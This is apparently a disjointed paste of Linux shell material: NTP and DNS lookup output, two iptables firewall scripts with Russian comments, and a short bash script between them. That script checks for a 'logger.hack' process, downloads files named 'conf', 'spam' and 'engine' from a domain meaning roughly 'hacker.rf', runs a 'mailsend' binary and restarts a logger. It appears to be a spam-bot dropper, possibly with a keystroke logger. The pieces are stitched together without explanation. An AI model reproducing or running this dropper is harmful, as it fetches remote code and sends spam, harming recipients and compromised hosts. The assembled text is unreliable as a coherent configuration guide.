KF

# ntpdate time.windows.com
 1 Nov 23:28:24 ntpdate[19643]: step time server 65.55.21.24 offset -16.598315 sec

# ntpdate time.windows.com
 1 Nov 23:32:47 ntpdate[19727]: adjust time server 65.55.21.20 offset 0.013459 sec

# nslookup 65.55.21.20
Server:         192.168.1.1
Address:        192.168.1.1#53

Non-authoritative answer:
20.21.55.65.in-addr.arpa        name = wwwco1test12.microsoft.com.

# nslookup 65.55.21.24
Server:         192.168.1.1
Address:        192.168.1.1#53

Non-authoritative answer:
24.21.55.65.in-addr.arpa        name = wwwco1test16.microsoft.com.

#!/bin/bash

logger=`ps -A|grep logger.hack|wc -l`
if [[ "$logger" -ge "1" ]] ; then
    //logger -k
fi
wget -q -t 1 -N -nd http://хацкирь.рф/conf -P //
wget -q -t 1 -N -nd http://хацкирь.рф/spam -P //
wget -q -t 1 -N -nd http://хацкирь.рф/engine -P //

//./mailsend

size=`du -b //logger.hack | awk '{print $1}'`
if [[ "$size" -ge "8192" ]] ; then
    rm -f //logger.hack
fi

//logger -s -o //logger.hack

#/bin/bash

# Локальный и внешний интерфейсы...
export WAN_IF=eth0
export LAN_IF=br0

# Адреса локального и внешнего интерфейса...
export WAN_IF_ADDR=xx.xx.xx.xx
export LAN_IF_ADDR=yy.yy.yy.yy

# Адреса локальной и внешней подсетей...
export WAN_NET_ADDR=xx.xx.xx.xx/xx
export LAN_NET_ADDR=yy.yy.yy.yy/yy

# Широковещательные локальный и внешний адреса
export WAN_BROADCAST=xx.xx.xx.255
export LAN_BROADCAST=yy.yy.yy.255

# Обнуление текущих правил...
iptables -t filter -F
iptables -t nat -F


########## Входящие соединения
# Политика по умолчанию
iptables -P INPUT DROP
# Блокировка броадкастов
iptables -A INPUT -m addrtype --dst-type BROADCAST -j DROP
# По уже установленным соединениям
iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
# HTTP,SSH,OpenVPN
iptables -A INPUT -p TCP -m multiport --dports http,xxxxxx,openvpn -j ACCEPT
# DNS,NTP
iptables -A INPUT -p UDP -m multiport --dports domain,ntp -j ACCEPT
# localhost трафик...
iptables -A INPUT --in-interface lo -j ACCEPT
# ping запросы
iptables -A INPUT -p ICMP --icmp-type echo-request -j ACCEPT
# Лог принятых запросов, отвергнутых и не попавших ни под одно из правил
iptables -A INPUT -j LOG --log-prefix "*****iptables INPUT drop "


########## Проходящие запросы
# Политика по умолчанию
iptables -P FORWARD DROP
# Блокировка броадкастов
iptables -A FORWARD -m addrtype --dst-type BROADCAST -j DROP
# Прохождение по уже установленным соединениям
iptables -A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT
# Прохождение локального траффика (VPN клиенты)
iptables -A FORWARD -p ALL --source $LAN_NET_ADDR --destination $LAN_NET_ADDR -j ACCEPT
# Запросы во вне к основным интернет службам (ftp, mail, web, icq, jabber, etc.)
iptables -A FORWARD -p TCP --in-interface $LAN_IF --source $LAN_NET_ADDR -m multiport --dports ftp,smtp,pop3,http,http-alt,https,aol,xmpp-client -j ACCEPT
# Запросы во вне к вспомогательным службам
iptables -A FORWARD -p TCP --in-interface $LAN_IF --source $LAN_NET_ADDR -m multiport --dports rsync,ssh,xxxxxx,openvpn -j ACCEPT
# Запросы из вне к серверам видеонаблюдения GOAL (с последующим пробросом портов на соответствующие видеосервера)
iptables -A FORWARD -p TCP --in-interface $WAN_IF -m multiport --dports xxxx,xxxx,xxxx,xxxx,xxxx -j ACCEPT
# Запросы во вне к серверам видеонаблюдения MSH и Video7
iptables -A FORWARD -p TCP --in-interface $LAN_IF --source $LAN_NET_ADDR -m multiport --dports 1204,1205,20900 -j ACCEPT
# Запросы во вне к DNS и NTP серверам
iptables -A FORWARD -p UDP --in-interface $LAN_IF --source $LAN_NET_ADDR -m multiport --dports domain,ntp -j ACCEPT
# ping запросы во вне
iptables -A FORWARD -p ICMP --in-interface $LAN_IF --icmp-type echo-request -j ACCEPT
# Лог проходящих запросов, отвергнутых и не попавших ни под одно из правил
iptables -A FORWARD -j LOG --log-prefix "*****iptables FORWARD drop "

# NAT для маскарадинга во вне
iptables -t nat -A POSTROUTING --out-interface $WAN_IF -j SNAT --to-source $WAN_IF_ADDR
# Проброс из вне на сервера видеонаблюдения для клиентов GOAL-city
iptables -t nat -A PREROUTING -p TCP -m tcp --destination $WAN_IF_ADDR --dport xxxx -j DNAT --to-destination xx.xx.xx.xx:3107
iptables -t nat -A PREROUTING -p TCP -m tcp --destination $WAN_IF_ADDR --dport xxxx -j DNAT --to-destination xx.xx.xx.xx:3107
iptables -t nat -A PREROUTING -p TCP -m tcp --destination $WAN_IF_ADDR --dport xxxx -j DNAT --to-destination xx.xx.xx.xx:3107
iptables -t nat -A PREROUTING -p TCP -m tcp --destination $WAN_IF_ADDR --dport xxxx -j DNAT --to-destination xx.xx.xx.xx:3107
iptables -t nat -A PREROUTING -p TCP -m tcp --destination $WAN_IF_ADDR --dport xxxx -j DNAT --to-destination xx.xx.xx.xx:3107


########## Исходящие запросы
# Политика по умолчанию...
iptables -P OUTPUT DROP
# Блокировка броадкастов
iptables -A OUTPUT -m addrtype --dst-type BROADCAST -j DROP
# По уже установленным соединениям
iptables -A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
# Запросы FTP,HTTP,SSH,RSYNC
iptables -A OUTPUT -p TCP -m multiport --dports ftp,http,xxxxxx,rsync -j ACCEPT
# Запросы DNS,NTP,DNS-transfer
iptables -A OUTPUT -p UDP -m multiport --dports domain,ntp -j ACCEPT
iptables -A OUTPUT -p TCP --dport domain -j ACCEPT
# Запросы на серверов видеонаблюдения GOAL
iptables -A OUTPUT -p TCP --out-interface $LAN_IF --destination $LAN_NET_ADDR --dport 3107 -j ACCEPT
# localhost трафик...
iptables -A OUTPUT --out-interface lo -j ACCEPT
# ping запросы
iptables -A OUTPUT  -p ICMP --icmp-type echo-request -j ACCEPT
# Лог запросов, отвергнутых и не попавших ни под одно из правил
iptables -A OUTPUT -j LOG --log-prefix "*****iptables OUTPUT drop "

########## Настройки
# Разрешаем ip-форвардинг
echo 1 > /proc/sys/net/ipv4/ip_forward
for f in /proc/sys/net/ipv4/conf/*/rp_filter ; do echo 1 > $f ; done
# Сохраняем правила
/etc/init.d/iptables save
# Добавляем запуск iptables в автозагрузку
#rc-update add iptables default
# nano /etc/sysctl.conf
# Разрешаем форвардинг на уровне sysctl
#net.ipv4.ip_forward = 1
#net.ipv4.conf.default.rp_filter = 1
# В случае, если динамический IP-адрес
#net.ipv4.ip_dynaddr = 1

#!/bin/sh
IPT="/sbin/iptables"
echo 1 > /proc/sys/net/ipv4/ip_forward
$IPT -F
$IPT -X
$IPT -P INPUT DROP
$IPT -P FORWARD DROP
$IPT -P OUTPUT DROP
INET_IFACE_WAN="ppp0"
INET_IFACE_LAN="eth0"
TCP_PORTS_LAN="0:65535" 
UDP_PORTS_LAN="0:65535" 
TCP_PORTS_WAN="20,21,25,80,110,2020,10000"
UDP_PORTS_WAN="53"
$IPT -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
$IPT -A OUTPUT -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
$IPT -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT
$IPT -A INPUT -i lo -j ACCEPT
$IPT -A OUTPUT -o lo -j ACCEPT
$IPT -A INPUT -i ppp+ -j ACCEPT
$IPT -A INPUT -p gre -j ACCEPT

iptables -A FORWARD -p tcp --tcp-flags SYN,RST SYN -j TCPMSS --set-mss 128
iptables -A FORWARD -i eth0 -o ppp0 -j ACCEPT
iptables -A FORWARD -i ppp+ -o ppp0 -j ACCEPT
iptables -t nat -A POSTROUTING -o ppp0 -s 192.168.1.0/24 -j MASQUERADE

$IPT -A INPUT -p tcp -m multiport -i $INET_IFACE_LAN --dport $TCP_PORTS_LAN -j ACCEPT
$IPT -A INPUT -p udp -m multiport -i $INET_IFACE_LAN --dport $UDP_PORTS_LAN -j ACCEPT
$IPT -A INPUT -p tcp -m multiport -i $INET_IFACE_WAN --dport $TCP_PORTS_WAN -j ACCEPT
$IPT -A INPUT -p udp -m multiport -i $INET_IFACE_WAN --dport $UDP_PORTS_WAN -j ACCEPT
$IPT -A INPUT -p icmp -m icmp --icmp-type echo-reply -j ACCEPT

exit 0